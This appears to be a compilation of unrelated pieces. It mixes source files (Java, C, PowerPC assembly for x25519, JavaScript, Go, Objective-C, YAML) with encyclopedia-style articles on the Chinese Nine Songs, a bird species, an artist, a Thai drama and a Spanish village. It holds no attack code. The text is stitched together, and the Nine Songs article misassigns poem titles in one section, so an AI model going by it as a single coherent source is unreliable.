load plugins Churn churn = new Churn(); ChurnCommandLine commandLine = churn.new ChurnCommandLine(); int argCount = commandLine .parse(args, 0, 2, "Usage: " + Churn.class.getName() + " [options] [<xml results> [<history>]] "); SortedBugCollection bugCollection = new SortedBugCollection(); if (argCount < args.length) { bugCollection.readXML(args[argCount++]); } else { bugCollection.readXML(System.in); } churn.setBugCollection(bugCollection); churn.execute(); PrintStream out = System.out; try { if (argCount < args.length) { out = UTF8.printStream(new FileOutputStream(args[argCount++]), true); } churn.dump(out); } finally { out.close(); } } } ```
```c /* * cblas_sswap.c * * The program is a C interface to sswap. * * Written by Keita Teranishi. 2/11/1998 * */ #include "cblas.h" #include "cblas_f77.h" void API_SUFFIX(cblas_sswap)( const CBLAS_INT N, float *X, const CBLAS_INT incX, float *Y, const CBLAS_INT incY) { #ifdef F77_INT F77_INT F77_N=N, F77_incX=incX, F77_incY=incY; #else #define F77_N N #define F77_incX incX #define F77_incY incY #endif F77_sswap( &F77_N, X, &F77_incX, Y, &F77_incY); } ```
Jiu Ge, or Nine Songs, () is an ancient set of poems. Together, these poems constitute one of the 17 sections of the poetry anthology which was published under the title of the Chuci (also known as the Songs of Chu or as the Songs of the South). Despite the "Nine", in the title, the number of these poetic pieces actually consists of eleven separate songs, or elegies. This set of verses seems to be part of some rituals of the Yangzi River valley area (as well as a northern tradition or traditions) involving the invocation of divine beings and seeking their blessings by means of a process of courtship. Though the poetry consists of lyrics written for a performance, the lack of indications of who is supposed to be singing at any one time or whether some of the lines represent lines for a chorus makes an accurate reconstruction impossible. Nonetheless there are internal textual clues, for example indicating the use of costumes for the performers, and an extensive orchestra. Authorship and dating In common with other Chuci works, the authorship of these 11 poems has been attributed to the poet Qu Yuan, who lived over two-thousand years ago. Sinologist David Hawkes finds evidence for this eclectic suite of eleven poems having been written by "a poet (or poets) at the Chu court in Shou-chun (241–223) B.C." Text The "Jiu Ge" songs include eleven (despite the "Nine" in the title). Nine of the verses are addressed to deities by a type of shaman, one to the spirits of fallen warriors who died fighting far from home, and the concluding verse. The reason for the discrepancy between the 9 verses referred to in the title and the fact that there are actually 11 is uncertain, although an important question, which has had several possible explanations put forth. Of these explanations, some may be rooted in general Chinese number magic or symbology. More specifically, David Hawkes points out that "nine songs" is referenced in the seminal Chu Ci work, Li Sao, referring to the nine (twice times nine?) dances of Qi of Xia. Why nine? Critics and scholars have elaborated various hypotheses as to why the Jiu Ge ("Nine Songs") consists of eleven songs, rather than nine. An obvious, and common, suggestion has been that Number 1 and Number 11 songs are somehow to be classified as an introduction and a luan: examination of Song 1 and Song 11 fails to support this convenient conjecture, however. Sinologists Masaru Aoki and David Hawkes propose that for performance purposes there were nine songs/dances performed at each a spring and at an autumn performance, with the spring performance featuring Songs 3 and 5, but not 4 or 6, and the autumnal performance 4 and 6, but not 3 or 5 (with the songs otherwise being performed in numerical order). Another explanation has to do with ancient ideas about numbers and numbering, where by the use of a numeric term, an order of magnitude, estimation, or other symbolic qualities are meant, rather than a specific quantity. 11 songs could be "about 9" songs. List of contents The following table shows the eleven individual poems of the Nine Songs. The English translations are following those of David Hawkes, although he uses Roman numerals for the traditional song order. Illustrated versions Illustrated versions of the Chuci exist. Below is a selection from the "Nine Songs": Divine beings Of the 11 songs of the "Jiu Ge", 9 are addressed to deities and 1 to the spirits of dead heroes (the last verse section is a conclusional cauda). These deities include He Bo, also known as the River Earl or as the Count of the River, and the Lord (or God) of the Clouds. Dong Huang/Jun / Tai Yi The character with which Song 1 concerns itself is Taiyi (the Grand Unity) and Lord of the East. This is not a common concept in other Chinese historical sources. The character of this divinity resolves readily as two familiar parts, here coupled together. God of Clouds The God of Clouds (Yunzhong Jun) was worshipped in the hope of rain and good weather for crops. This poem can be divided into two parts: one part is sung by the person who does the offering and the other part is sung by the person who acts as the God of Clouds in the form of antiphonal singing in order to show their admiration towards God of Clouds. The God of Clouds is sometimes seen as male and sometimes seen as female, but in Chinese literature, the God of Clouds is usually portrayed as female. This poem expresses the characteristics of the God of Clouds, the deep desire that human have towards God, and how God responds to people's prayer through the antiphonal singing of human and God. He Bo: the River Earl He Bo has been the deity of the Yellow River, one of the world's major rivers, and one with close association with Chinese Culture. As such, He Bo has been associated with control of that wild river's occasional devastating floods and general qualities as an agricultural aquifer. Lord of the East The Lord of the East is the sun, in its aspect as a deity of the morning. Master of Fate The Master of Fate is known as Siming (司命) with various English translations (such as, Controller of Fate, Deified Judge of Life, and Director of Destinies). Siming is both an abstract deity (or more rather title thereof) and a celestial asterism. In the Daoist case of the Three Worms, Siming, as Director of Destinies, has the bureaucratic function of human lifespan allocation. As an asterism, or apparent stellar constellation, Siming is associated both with the Wenchang Wang star pattern, near the Big Dipper, in (Aquarius (Chinese astronomy)), and with a supposed celestial bureaucrat official of fate. Qu Yuan Qu Yuan is the protagonist and author of much of the Chu ci opus: whether or not he wrote the Jiu ge pieces while he was in exile is an open question. Certainly the work appears underlain by earlier tradition, as well as possible editing during the reign of Han Wudi. Whether he makes a cameo appearance is also not known. Shaman The shamanic voice is an important part of the proceedings here. Shan Gui Shan Gui (), literally "Mountain Spirit" is here actually a goddess who is "lovesick" and pining for her lord. See (§Mountain Spirit below). Siming (Astronomical and Earthly) The astronomical Siming (actually part of asterism 虛, "Emptiness") consists of the Deified Judge of Life star group. Sīmìngyī: (24 Aquarii, 司命一) and Sīmìngèr (26 Aquarii, 司命二). The earthly Siming has the bureaucratic function of human lifespan allocation. Spirits of the Fallen and the Dead Presupposing some sort of continuation of life after death: ghosts or spirits. Taiyi Taiyi also known as: Tai Yi, Great Unity, and so on, is a familiar deity from the Chinese Daoist/shamanic tradition. Xiang River Deities The deities of the Xiang waters, are the Xiangshuishen. Various conceptions of them exist. Of these conceptions, one set consists of ancient folk belief, and another of more modern interpretation. Individual poems The individual poems of the Jiu Ge are related to each other as parts of a religious drama, meant for performance; however, the individual roles of each and their relationship to each other is a matter for interpretive reinterpretation, rather than something known. Some aspects of the dramatic performance are known, mostly through internal evidence. The performances were evidently replete with fantastic shamanic costumes, were probably performed indoors, and with orchestral accompaniment to the tune of "lithophones, musical bells, drums, and various kinds of wind and string instruments." However, in the case of any individual poem, its role in the overall performance is not necessarily determinable. They may represent monologues, dialogues, choral pieces, or combinations thereof, within the individual pieces or between them. The titles of the individual poems which follow are loosely based on David Hawkes: East Emperor/Grand Unity The first Jiu ge poetic piece is a dedication to a deity ("Dong huang tai yi"). Lord in the Clouds The second Jiu ge poetic piece addresses another deity ("Yun-zhong jun"). Xiang deity (two titles) The third and fourth Jiu ge poetic pieces involve a deity, male, female, singular or plural: the Chinese is not marked for number or gender ("Xiang jun" and "Xiang fu-ren"). Master of Fate (two titles) The fifth and sixth Jiu ge poetic pieces involve a deity singular or plural: the Chinese is not clear as to whether the "lesser" and "greater" in the titles refers to a distinction between the two Siming (Master of Fate) poems or if it refers to a distinction between two Siming, Masters of Fate ("Xiang jun" and "Xiang fu-ren"). East Lord The seventh Jiu ge poetic piece addresses involves the deity "Dong jun". River Earl The eighth Jiu ge poetic piece involves another deity ("Hebo"). Mountain Spirit The ninth Jiu ge poetic piece addresses the Shan gui which is literally "Mountain Spirit", but here she is rather a Mountain Goddess, wearing clothing of climbing-fig vine and a girdle of dodder (or hanging moss). She is possibly to be identified with the Wushan Mountain goddess, Yaoji, and this "lovesick fairy queen" of the mount is presumably "waiting for King Xiang of Chu". She is depicted as "riding a red leopard and holding a wen li (patterned wildcat, )", or perhaps rather riding a fragrant car drawn by these "leopards". Hymn to the Fallen The tenth Jiu ge poem (Guo shang) is a hymn to soldiers killed in war ("Guo shang"). Guó (國) means the "state", "kingdom", or "nation". Shāng (殤) means to "die young". Put together, the title refers to those who meet death in the course of fighting for their country. David Hawkes describes it as "surely one of the most beautiful laments for fallen soldiers in any language". The meter is a regular seven-character verse, with three characters separated by the exclamatory particle "兮" followed by three more characters, each composing a half line, for a total of nine lines of 126 characters. Background The historical background of the poem involves the ancient type of warfare practiced in ancient China. Included are references to arms and weapons, ancient states or areas, and the mixed use of chariots in warfare. A good historical example of this type of contest is the "Battle of Yanling", which features similar characteristics and problems experienced by participants in this type of fighting, such as greatly elevated mortality rates for both horses and humans. Poem The poem is translated as "Battle" by Arthur Waley (1918, in A Hundred and Seventy Chinese Poems) BATTLE .... “We grasp our battle-spears: we don our breast-plates of hide. The axles of our chariots touch: our short swords meet. Standards obscure the sun: the foe roll up like clouds. Arrows fall thick: the warriors press forward. They menace our ranks: they break our line. The left-hand trace-horse is dead: the one on the right is smitten. The fallen horses block our wheels: they impede the yoke-horses!” They grasp their jade drum-sticks: they beat the sounding drums. Heaven decrees their fall: the dread Powers are angry. The warriors are all dead: they lie on the moor-field. They issued but shall not enter: they went but shall not return. The plains are flat and wide: the way home is long. Their swords lie beside them: their black bows, in their hand. Though their limbs were torn, their hearts could not be repressed. They were more than brave: they were inspired with the spirit of “Wu.” Steadfast to the end, they could not be daunted. Their bodies were stricken, but their souls have taken Immortality– Captains among the ghosts, heroes among the dead. I.e., military genius. Honoring the Dead The eleventh Jiu ge poetic piece concludes the corpus ("Li hun"). Translations The first translation of the Nine Songs into a European language was done by the Viennese scholar (1808–1887). Over 100 years later Arthur Waley (1889–1966) accredited it as "an extremely good piece of work, if one considers the time when it was made and the meagreness of the material to which Pfizmaier had access." See also Chariots in ancient China Taiyi Chu ci Chu (state) Jiu Zhang He Bo List of Chuci contents Liu An Liu Xiang (scholar) Qin (state) Qu Yuan Rhinoceroses in ancient China Xiao (mythology) Simians (Chinese poetry) Song Yu Wang Yi (librarian) Wu (武) at Wiktionary Wu (state) Xiang River goddesses Xiao (mythology) Yunzhongzi Explanatory notes References Citations Bibliography Davis, A. R. (Albert Richard), Editor and Introduction,(1970), The Penguin Book of Chinese Verse. (Baltimore: Penguin Books). Hawkes, David, translator and introduction (2011 [1985]). Qu Yuan et al., The Songs of the South: An Ancient Chinese Anthology of Poems by Qu Yuan and Other Poets. London: Penguin Books. Murck, Alfreda (2000). Poetry and Painting in Song China: The Subtle Art of Dissent. Cambridge (Massachusetts) and London: Harvard University Asia Center for the Harvard-Yenching Institute. . Waley, Arthur, tr. 1955. The Nine Songs. Allen and Unwin. External links Chinese poems
The yellow-eared spiderhunter (Arachnothera chrysogenys) is a species of bird in the family Nectariniidae. It is found in Brunei, Indonesia, Malaysia, Myanmar, Singapore, Thailand, and Vietnam. Its natural habitats are subtropical or tropical moist lowland forests, subtropical or tropical mangrove forests, and subtropical or tropical moist montane forests. References External links Image at ADW yellow-eared spiderhunter Birds of Malesia yellow-eared spiderhunter Taxonomy articles created by Polbot
```gas .abiversion 2 .text .globl x25519_fe51_mul .type x25519_fe51_mul,@function .type x25519_fe51_mul,@function .align 5 x25519_fe51_mul: .localentry x25519_fe51_mul,0 stdu 1,-144(1) std 21,56(1) std 22,64(1) std 23,72(1) std 24,80(1) std 25,88(1) std 26,96(1) std 27,104(1) std 28,112(1) std 29,120(1) std 30,128(1) std 31,136(1) ld 6,0(5) ld 7,0(4) ld 8,8(4) ld 9,16(4) ld 10,24(4) ld 11,32(4) mulld 22,7,6 mulhdu 23,7,6 mulld 24,8,6 mulhdu 25,8,6 mulld 30,11,6 mulhdu 31,11,6 ld 4,8(5) mulli 11,11,19 mulld 26,9,6 mulhdu 27,9,6 mulld 28,10,6 mulhdu 29,10,6 mulld 12,11,4 mulhdu 21,11,4 addc 22,22,12 adde 23,23,21 mulld 12,7,4 mulhdu 21,7,4 addc 24,24,12 adde 25,25,21 mulld 12,10,4 mulhdu 21,10,4 ld 6,16(5) mulli 10,10,19 addc 30,30,12 adde 31,31,21 mulld 12,8,4 mulhdu 21,8,4 addc 26,26,12 adde 27,27,21 mulld 12,9,4 mulhdu 21,9,4 addc 28,28,12 adde 29,29,21 mulld 12,10,6 mulhdu 21,10,6 addc 22,22,12 adde 23,23,21 mulld 12,11,6 mulhdu 21,11,6 addc 24,24,12 adde 25,25,21 mulld 12,9,6 mulhdu 21,9,6 ld 4,24(5) mulli 9,9,19 addc 30,30,12 adde 31,31,21 mulld 12,7,6 mulhdu 21,7,6 addc 26,26,12 adde 27,27,21 mulld 12,8,6 mulhdu 21,8,6 addc 28,28,12 adde 29,29,21 mulld 12,9,4 mulhdu 21,9,4 addc 22,22,12 adde 23,23,21 mulld 12,10,4 mulhdu 21,10,4 addc 24,24,12 adde 25,25,21 mulld 12,8,4 mulhdu 21,8,4 ld 6,32(5) mulli 8,8,19 addc 30,30,12 adde 31,31,21 mulld 12,11,4 mulhdu 21,11,4 addc 26,26,12 adde 27,27,21 mulld 12,7,4 mulhdu 21,7,4 addc 28,28,12 adde 29,29,21 mulld 12,8,6 mulhdu 21,8,6 addc 22,22,12 adde 23,23,21 mulld 12,9,6 mulhdu 21,9,6 addc 24,24,12 adde 25,25,21 mulld 12,10,6 mulhdu 21,10,6 addc 26,26,12 adde 27,27,21 mulld 12,11,6 mulhdu 21,11,6 addc 28,28,12 adde 29,29,21 mulld 12,7,6 mulhdu 21,7,6 addc 30,30,12 adde 31,31,21 .Lfe51_reduce: li 0,-1 srdi 0,0,13 srdi 12,26,51 and 9,26,0 insrdi 12,27,51,0 srdi 21,22,51 and 7,22,0 insrdi 21,23,51,0 addc 28,28,12 addze 29,29 addc 24,24,21 addze 25,25 srdi 12,28,51 and 10,28,0 insrdi 12,29,51,0 srdi 21,24,51 and 8,24,0 insrdi 21,25,51,0 addc 30,30,12 addze 31,31 add 9,9,21 srdi 12,30,51 and 11,30,0 insrdi 12,31,51,0 mulli 12,12,19 add 7,7,12 srdi 21,9,51 and 9,9,0 add 10,10,21 srdi 12,7,51 and 7,7,0 add 8,8,12 std 9,16(3) std 10,24(3) std 11,32(3) std 7,0(3) std 8,8(3) ld 21,56(1) ld 22,64(1) ld 23,72(1) ld 24,80(1) ld 25,88(1) ld 26,96(1) ld 27,104(1) ld 28,112(1) ld 29,120(1) ld 30,128(1) ld 31,136(1) addi 1,1,144 blr .long 0 .byte 0,12,4,0,0x80,11,3,0 .long 0 .size x25519_fe51_mul,.-x25519_fe51_mul .globl x25519_fe51_sqr .type x25519_fe51_sqr,@function .type x25519_fe51_sqr,@function .align 5 x25519_fe51_sqr: .localentry x25519_fe51_sqr,0 stdu 1,-144(1) std 21,56(1) std 22,64(1) std 23,72(1) std 24,80(1) std 25,88(1) std 26,96(1) std 27,104(1) std 28,112(1) std 29,120(1) std 30,128(1) std 31,136(1) ld 7,0(4) ld 8,8(4) ld 9,16(4) ld 10,24(4) ld 11,32(4) add 6,7,7 mulli 21,11,19 mulld 22,7,7 mulhdu 23,7,7 mulld 24,8,6 mulhdu 25,8,6 mulld 26,9,6 mulhdu 27,9,6 mulld 28,10,6 mulhdu 29,10,6 mulld 30,11,6 mulhdu 31,11,6 add 6,8,8 mulld 12,11,21 mulhdu 11,11,21 addc 28,28,12 adde 29,29,11 mulli 5,10,19 mulld 12,8,8 mulhdu 11,8,8 addc 26,26,12 adde 27,27,11 mulld 12,9,6 mulhdu 11,9,6 addc 28,28,12 adde 29,29,11 mulld 12,10,6 mulhdu 11,10,6 addc 30,30,12 adde 31,31,11 mulld 12,21,6 mulhdu 11,21,6 add 6,10,10 addc 22,22,12 adde 23,23,11 mulld 12,10,5 mulhdu 10,10,5 addc 24,24,12 adde 25,25,10 mulld 12,6,21 mulhdu 10,6,21 add 6,9,9 addc 26,26,12 adde 27,27,10 mulld 12,9,9 mulhdu 10,9,9 addc 30,30,12 adde 31,31,10 mulld 12,5,6 mulhdu 10,5,6 addc 22,22,12 adde 23,23,10 mulld 12,21,6 mulhdu 10,21,6 addc 24,24,12 adde 25,25,10 b .Lfe51_reduce .long 0 .byte 0,12,4,0,0x80,11,2,0 .long 0 .size x25519_fe51_sqr,.-x25519_fe51_sqr .globl x25519_fe51_mul121666 .type x25519_fe51_mul121666,@function .type x25519_fe51_mul121666,@function .align 5 x25519_fe51_mul121666: .localentry x25519_fe51_mul121666,0 stdu 1,-144(1) std 21,56(1) std 22,64(1) std 23,72(1) std 24,80(1) std 25,88(1) std 26,96(1) std 27,104(1) std 28,112(1) std 29,120(1) std 30,128(1) std 31,136(1) lis 6,1 ori 6,6,56130 ld 7,0(4) ld 8,8(4) ld 9,16(4) ld 10,24(4) ld 11,32(4) mulld 22,7,6 mulhdu 23,7,6 mulld 24,8,6 mulhdu 25,8,6 mulld 26,9,6 mulhdu 27,9,6 mulld 28,10,6 mulhdu 29,10,6 mulld 30,11,6 mulhdu 31,11,6 b .Lfe51_reduce .long 0 .byte 0,12,4,0,0x80,11,2,0 .long 0 .size x25519_fe51_mul121666,.-x25519_fe51_mul121666 ```
```java /* * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list of * conditions and the following disclaimer in the documentation and/or other materials provided * with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors may be used to * endorse or promote products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.oracle.truffle.llvm.runtime.nodes.intrinsics.interop; import com.oracle.truffle.api.dsl.NodeChild; import com.oracle.truffle.api.dsl.Specialization; import com.oracle.truffle.api.frame.VirtualFrame; import com.oracle.truffle.llvm.runtime.nodes.func.LLVMCallNode; import com.oracle.truffle.llvm.runtime.nodes.intrinsics.llvm.LLVMIntrinsic; import com.oracle.truffle.llvm.runtime.except.LLVMPolyglotException; import com.oracle.truffle.llvm.runtime.interop.convert.ToPointer; import com.oracle.truffle.llvm.runtime.nodes.api.LLVMExpressionNode; @NodeChild(type = LLVMExpressionNode.class) public abstract class LLVMTruffleGetArg extends LLVMIntrinsic { @Child private ToPointer toPointer = ToPointer.create(); @Specialization(rewriteOn = ArrayIndexOutOfBoundsException.class) protected Object doIntrinsic(VirtualFrame frame, int index) { Object[] arguments = frame.getArguments(); return toPointer.executeWithTarget(arguments[LLVMCallNode.USER_ARGUMENT_OFFSET + index]); } @Specialization protected Object doWithBoundsCheck(VirtualFrame frame, int index) { Object[] arguments = frame.getArguments(); if (index < 0 || index + LLVMCallNode.USER_ARGUMENT_OFFSET >= arguments.length) { throw new LLVMPolyglotException(this, "Argument index %d out of bounds.", index); } return toPointer.executeWithTarget(arguments[LLVMCallNode.USER_ARGUMENT_OFFSET + index]); } } ```
```javascript var hasOwnProperty = Object.prototype.hasOwnProperty module.exports = PseudoMap function PseudoMap(set) { if (!(this instanceof PseudoMap)) // whyyyyyyy throw new TypeError("Constructor PseudoMap requires 'new'") this.clear() if (set) { if ((set instanceof PseudoMap) || (typeof Map === 'function' && set instanceof Map)) set.forEach(function (value, key) { this.set(key, value) }, this) else if (Array.isArray(set)) set.forEach(function (kv) { this.set(kv[0], kv[1]) }, this) else throw new TypeError('invalid argument') } } PseudoMap.prototype.forEach = function (fn, thisp) { thisp = thisp || this Object.keys(this._data).forEach(function (k) { if (k !== 'size') fn.call(thisp, this._data[k].value, this._data[k].key) }, this) } PseudoMap.prototype.has = function (k) { return !!find(this._data, k) } PseudoMap.prototype.get = function (k) { var res = find(this._data, k) return res && res.value } PseudoMap.prototype.set = function (k, v) { set(this._data, k, v) } PseudoMap.prototype.delete = function (k) { var res = find(this._data, k) if (res) { delete this._data[res._index] this._data.size-- } } PseudoMap.prototype.clear = function () { var data = Object.create(null) data.size = 0 Object.defineProperty(this, '_data', { value: data, enumerable: false, configurable: true, writable: false }) } Object.defineProperty(PseudoMap.prototype, 'size', { get: function () { return this._data.size }, set: function (n) { }, enumerable: true, configurable: true }) PseudoMap.prototype.values = PseudoMap.prototype.keys = PseudoMap.prototype.entries = function () { throw new Error('iterators are not implemented in this version') } // Either identical, or both NaN function same(a, b) { return a === b || a !== a && b !== b } function Entry(k, v, i) { this.key = k this.value = v this._index = i } function find(data, k) { for (var i = 0, s = '_' + k, key = s; hasOwnProperty.call(data, key); key = s + i++) { if (same(data[key].key, k)) return data[key] } } function set(data, k, v) { for (var i = 0, s = '_' + k, key = s; hasOwnProperty.call(data, key); key = s + i++) { if (same(data[key].key, k)) { data[key].value = v return } } data.size++ data[key] = new Entry(k, v, key) } ```
Tammy Rae Carland (born January 27, 1965), is a photographer, video artist, zine editor, current provost at California College of the Arts (CCA), and former co-owner of the independent lesbian music label Mr. Lady Records and Videos. Her work has been published, screened, and exhibited around the world in galleries and museums in New York, Los Angeles, San Francisco, Berlin, and Sydney. Early life Carland was born in Portland, Maine in 1965. She grew up with 4 siblings and was raised by her single mother. She was the first in her family to graduate from high school. Zines, videos, and music In the late 1980s, while she was studying photography at The Evergreen State College, Carland co-founded the independent art gallery Reko Muse (a.k.a. wreck-o-muse) in Olympia, Washington with fellow photography student, Kathleen Hanna and another friend, Heidi Arbogast. They formed a band, Amy Carter, who performed during art exhibitions. Kathleen Hanna often did spoken word performances at the gallery. Local band, Nirvana, led by Kurt Cobain, periodically played benefit shows to support the gallery. After Amy Carter broke up, Carland remained friends with Hanna. She collaborated on the record art for Hanna’s band, Bikini Kill. Carland is also the namesake of the Bikini Kill song "For Tammy Rae" off the album Pussy Whipped. She also collaborated on album art for bands such as The Fakes and The Butchies. Hanna contributed to Carland’s next project, the independently produced fanzine, I (heart) Amy Carter. Other contributors included Donna Dresch of the queercore band, Team Dresch. Carland’s zine writings have been republished in A Girl's Guide to Taking Over the World edited by Karen Green and Tristan Taormino and The Riot Grrrl Collection edited by Lisa Darms. After the zine's demise, Carland turned her focus to photography and filmmaking. Excerpts from her film Lady Outlaws and Faggot Wannabes are included in the documentary film She's Real, Worse Than Queer by Lucy Thane, and Carland is also interviewed in this film. She has also been a contributor to Joanie4Jackie, a film compilation zine created by Miranda July, which featured Dear Mom and Becky 1977 in the first and second issues respectively. Her videos Live From Somewhere, Odd Girl Out, and Lady Outlaws and Faggot Wannabes have screened nationally and internationally. From 1997-2005, Carland ran, in partnership, Mr. Lady Records and Videos. Mr. Lady was an independent record label and video distribution company dedicated to promoting feminist and queer culture. Mr. Lady released recordings by The Butchies, Kaia Wilson (Carland's ex-partner and Mr. Lady co-founder), and Le Tigre. Photography Carland's photographs appear in the book The Passionate Camera: Photography and Bodies of Desire edited by Deborah Bright and Lesbian Art in America edited by Harmony Hammond. Carland has several bodies of work that have been shown in museums and galleries. She is currently represented by Jessica Silverman Gallery. Carland has described herself as a maker rather than a documentarian, with regard to her art practice. In general, her photographs are carefully staged rather than captured in the moment. She has cited Bernd and Hilla Becher, Felix Gonzales-Torres and Imogen Cunningham as influences, especially on her "Lesbian Beds" series. The series contains photographs of her friends' unmade beds, all taken from the same aerial perspective, just minutes after being vacated. In the series "Horror Girls", Carland dresses up to recreate scenes and characters from horror movies. In "On Becoming: Billy and Katie 1964" Carland creates snapshot portraits of her dressed as her parents. "Photoback" is a series in which she photographed found photos that have captions hand written on the backs. "Keeping House" is a series Carland did with Kaia Wilson, staging scene from their home life together. The series "Post Partum Portraits" was created after Carland became a mother. Her series "Archive of Feelings" was featured in Alien She: Examining the lasting impact of Riot Grrrl , an exhibition held at the Yerba Buena Center for the Arts in San Francisco, CA and the Orange County Museum of Art. Teaching Carland is Provost at California College of the Arts where she is also a Professor of Photography and Fine Arts. Carland has also taught at University of North Carolina, Chapel Hill, NC and DePauw University, Greencastle, IN. In popular culture Carland's name appears in the lyrics of the Le Tigre song "Hot Topic." She is also name-checked in the Bikini Kill song “For Tammy Rae”. References External links Tammy Rae Carland site Interview on Art Practical Tammy Rae Carland "I (heart) Amy Carter" Riot Grrrl Collection at the Fales Special Collections Library at NYU Tammy Rae Carland Zine Collection at the Fales Special Collections Library at NYU Mr. Lady Archive at the Fales Special Collections Library at NYU Tammy Rae Carland at Kadist Art Foundation Art in the Grip of Riot Grrrl Hyperallergic article Living people American lesbian writers American lesbian artists American photographers Riot grrrl Artists from the San Francisco Bay Area American women artists American women photographers Feminist artists 1965 births LGBT people from Maine 21st-century American women writers
Kingston Avenues may refer to the following stations of the New York City Subway in Brooklyn: Kingston–Throop Avenues (IND Fulton Street Line), serving the trains Kingston Avenue (IRT Eastern Parkway Line), serving the trains
```go package util // import "github.com/docker/infrakit/pkg/controller/group/util" // RunStop is an operation that may be Run (synchronously) and interrupted by calling Stop. type RunStop interface { Run() Stop() } ```
Lilawadee Plerng, also written as Leelawadee Plerng (; ; lit: Fire Plumeria; English title: The Secret Truth) is Thai TV dramas or lakorn aired on Channel 7 from January 3 to February 8, 2015 on Fridays, Saturdays and Sundays at 20:30 for 17 episodes. Summary The only daughter of the man who killed his mom asks him to help prove the innocence of her dad. Thiwit was the only witness to the killing of his mom by her ex-lover. But he was knocked out from a blow to the head and couldn't remember anything that happened that day. The only evidence that tied Linn's father to the crime was a red plumeria (a lilawadee flower in Thai language). She took on the alias, "Lilawadee Plerng" and works as a nightclub singer in order to investigate the truth so she can clear her dad's name from the crime he didn't commit. The case was a long time ago when she and he was little. Thiwit wanted to chase Lilawadee away but there's something about her that make him want to help her prove the truth. Find out to see who was the real killer. Cast Awards and nominations References External links Thai television soap operas 2015 Thai television series debuts 2015 Thai television series endings Thai mystery television series Channel 7 (Thailand) original programming
Cacabelos () is a village and municipality located in the region of El Bierzo (province of León, Castile and León, Spain). According to the 2020 census (INE), Cacabelos has a population of 4,996 inhabitants. It is well known for its wines. It is one of Galician speaking councils of Castilla y León. History During the Peninsular War, the village, and more especially, its bridge over the river Cua, was in the line of retreat taken by Sir John Moore's British army to A Coruña, and was the site of the Battle of Cacabelos (3 January 1809), a minor battle. References Municipalities in El Bierzo Astures
```objective-c #import "MyHTTPConnection.h" #import "HTTPDynamicFileResponse.h" #import "HTTPResponseTest.h" #import "HTTPLogging.h" // Log levels: off, error, warn, info, verbose // Other flags: trace static const int httpLogLevel = HTTP_LOG_LEVEL_WARN; // | HTTP_LOG_FLAG_TRACE; @implementation MyHTTPConnection - (NSObject<HTTPResponse> *)httpResponseForMethod:(NSString *)method URI:(NSString *)path { // Use HTTPConnection's filePathForURI method. // This method takes the given path (which comes directly from the HTTP request), // and converts it to a full path by combining it with the configured document root. // // It also does cool things for us like support for converting "/" to "/index.html", // and security restrictions (ensuring we don't serve documents outside configured document root folder). NSString *filePath = [self filePathForURI:path]; // Convert to relative path NSString *documentRoot = [config documentRoot]; if (![filePath hasPrefix:documentRoot]) { // Uh oh. // HTTPConnection's filePathForURI was supposed to take care of this for us. return nil; } NSString *relativePath = [filePath substringFromIndex:[documentRoot length]]; if ([relativePath isEqualToString:@"/index.html"]) { HTTPLogVerbose(@"%@[%p]: Serving up dynamic content", THIS_FILE, self); // The index.html file contains several dynamic fields that need to be completed. // For example: // // Computer name: %%COMPUTER_NAME%% // // We need to replace "%%COMPUTER_NAME%%" with whatever the computer name is. // We can accomplish this easily with the HTTPDynamicFileResponse class, // which takes a dictionary of replacement key-value pairs, // and performs replacements on the fly as it uploads the file. NSString *computerName = [[NSHost currentHost] localizedName]; NSString *currentTime = [[NSDate date] description]; NSString *story = @"<br/><br/>" "I'll tell you a story <br/>" \ "About Jack a Nory; <br/>" \ "And now my story's begun; <br/>" \ "I'll tell you another <br/>" \ "Of Jack and his brother, <br/>" \ "And now my story is done. <br/>"; NSMutableDictionary *replacementDict = [NSMutableDictionary dictionaryWithCapacity:5]; [replacementDict setObject:computerName forKey:@"COMPUTER_NAME"]; [replacementDict setObject:currentTime forKey:@"TIME"]; [replacementDict setObject:story forKey:@"STORY"]; [replacementDict setObject:@"A" forKey:@"ALPHABET"]; [replacementDict setObject:@" QUACK " forKey:@"QUACK"]; HTTPLogVerbose(@"%@[%p]: replacementDict = \n%@", THIS_FILE, self, replacementDict); return [[HTTPDynamicFileResponse alloc] initWithFilePath:[self filePathForURI:path] forConnection:self separator:@"%%" replacementDictionary:replacementDict]; } else if ([relativePath isEqualToString:@"/unittest.html"]) { HTTPLogVerbose(@"%@[%p]: Serving up HTTPResponseTest (unit testing)", THIS_FILE, self); return [[HTTPResponseTest alloc] initWithConnection:self]; } return [super httpResponseForMethod:method URI:path]; } @end ```
```yaml define: DUK_USE_JSON_QUOTESTRING_FASTPATH introduced: 1.3.0 default: true tags: - performance - fastpath - lowmemory description: > Enable fast path for string quoting in JSON.stringify(). The fast path uses a lookup table at a small cost in footprint. ```
John Brown II may refer to: John Carter Brown II (1797–1874), American book collector John Nicholas Brown II (1900–1979), U.S. Assistant Secretary of the Navy See also John Browne II (c. 1513 – 1570), English member of parliament John Brown Jr. (disambiguation)
